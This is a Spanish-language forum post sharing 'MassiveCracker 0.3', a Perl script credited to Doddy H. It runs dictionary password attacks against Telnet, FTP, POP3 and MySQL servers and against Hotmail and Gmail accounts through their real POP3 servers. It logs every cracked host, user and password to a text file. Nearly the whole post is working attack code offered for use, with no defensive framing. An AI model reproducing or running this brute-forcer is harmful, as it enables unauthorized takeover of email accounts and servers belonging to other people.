[Perl] MassiveCracker 0.3

Hola , aca les traigo una mejora de un antiguo cracker que hice hace tiempo.

Las opciones de crack que tiene son
Telnet
FTP
POP3
Mysql
Hotmail
Gmail
Ademas guarda todos los registros en un archivo de texto que el mismo programa crea.
Código
#!usr/bin/perl
#Massive Cracker 0.3
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
 
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
 
use Mail::POP3Client;
use IO::Socket::SSL;
 
head();
 
print "[+] Option :  ";
chomp( my $op = <stdin> );
 
if ( $op eq "1" ) {
 
    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);
 
    print "[+] Cracking service Telnet";
 
    for my $pass (@words) {
        chomp $pass;
 
        $telnet = new Net::Telnet( Errmode => "return" );
        $telnet->open($host);
        if ( $telnet->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "Telnet" );
        }
        $telnet->close;
 
    }
 
    print "\n\n[-] Password Not Found\n";
 
}
 
elsif ( $op eq "2" ) {
 
    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);
 
    print "[+] Cracking service FTP";
 
    for my $pass (@words) {
        chomp $pass;
        $ftp = Net::FTP->new($host);
        if ( $ftp->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "FTP" );
        }
        $ftp->quit;
    }
 
    print "\n\n[-] Password Not Found\n";
 
}
elsif ( $op eq "3" ) {
 
    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);
 
    print "[+] Cracking service POP3";
 
    for my $pass (@words) {
        chomp $pass;
 
        $pop = Net::POP3->new($host);
        if ( $pop->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "POP3" );
        }
        $pop->quit();
    }
 
    print "\n\n[-] Password Not Found\n";
 
}
 
elsif ( $op eq "4" ) {
 
    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);
 
    print "[+] Cracking service Mysql";
 
    $target = "dbi:mysql::" . $host . ":3306";
 
    for my $pass (@words) {
        chomp $pass;
 
        if ( my $now =
            DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
        {
            yeah( $host, $user, $pass, "Mysql" );
        }
    }
 
    print "\n\n[-] Password Not Found\n";
 
}
 
elsif ( $op eq "5" ) {
 
    my ( $user, $word ) = form2();
    my @words = openwordlist($word);
 
    print "[+] Cracking account Hotmail";
 
    for my $pass (@words) {
        chomp $pass;
 
        my $so = IO::Socket::SSL->new(
            PeerAddr => "pop3.live.com",
            PeerPort => 995,
            Proto    => "tcp"
        );
 
        my $nave = Mail::POP3Client->new();
 
        $nave->User($user);
        $nave->Pass($pass);
        $nave->Socket($so);
 
        if ( $nave->Connect() ) {
            yeahmail( "Hotmail", $user, $pass );
        }
 
        $so->close();
        $nave->close();
 
    }
 
}
 
elsif ( $op eq "6" ) {
 
    my ( $user, $word ) = form2();
    my @words = openwordlist($word);
 
    print "[+] Cracking account Gmail";
 
    for my $pass (@words) {
        chomp $pass;
 
        my $so = IO::Socket::SSL->new(
            PeerAddr => "pop.gmail.com",
            PeerPort => 995,
            Proto    => "tcp"
        );
 
        my $nave = Mail::POP3Client->new();
 
        $nave->User($user);
        $nave->Pass($pass);
        $nave->Socket($so);
 
        if ( $nave->Connect() ) {
            yeahmail( "Gmail", $user, $pass );
        }
 
        $so->close();
        $nave->close();
 
    }
 
}
 
else {
    print "\n\n[+] Bad Option\n";
}
 
copyright();
 
sub yeah {
 
    print "\a\a\n\n[+] Cracked\n\n";
    print "[Host] : $_[0]\n";
    print "[User] : $_[1]\n";
    print "[Password] : $_[2]\n";
 
    savefile( "cracked-logs.txt",
        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
 
    copyright();
 
}
 
sub yeahmail {
 
    print "\a\a\n\n[+] Cracked\n\n";
    print "[Account Type] : $_[0]\n";
    print "[User] : $_[1]\n";
    print "[Password] : $_[2]\n";
 
    savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
 
    copyright();
 
}
 
sub openwordlist {
 
    my $file = shift;
 
    print "\n[+] Opening file\n\n";
 
    unless ( -f $file ) {
        print "\n[-] File not found\n";
        copyright();
    }
 
    print "[+] Reading file\n\n";
 
    open( FILE, $file );
    my @words = <FILE>;
    close FILE;
 
    print "[+] Words Found : " . int(@words) . "\n\n";
 
    return @words;
 
}
 
sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}
 
sub form1 {
 
    print "\n[+] Host : ";
    chomp( my $host = <stdin> );
    print "\n[+] User : ";
    chomp( my $user = <stdin> );
    print "\n[+] Wordlist : ";
    chomp( my $word = <stdin> );
 
    return ( $host, $user, $word );
 
}
 
sub form2 {
    print "\n[+] Email : ";
    chomp( my $email = <stdin> );
    print "\n[+] Wordlist : ";
    chomp( my $word = <stdin> );
 
    return ( $email, $word );
}
 
sub head {
    print qq(
 
 @     @                                    @@@@                 @             
 @     @                                   @    @                @             
 @@   @@                                   @                     @             
 @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
 @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @ 
 @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @ 
 @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @ 
 @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @ 
 @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @ 
 
 
 
 
                                              Coded By Doddy H
 
 
 
 
 
[++] Services 
 
 [1] : Telnet
 [2] : FTP 
 [3] : POP3
 [4] : Mysql
 [5] : Hotmail
 [6] : Gmail
 
 
 
);
}
 
sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}
 
#The End ?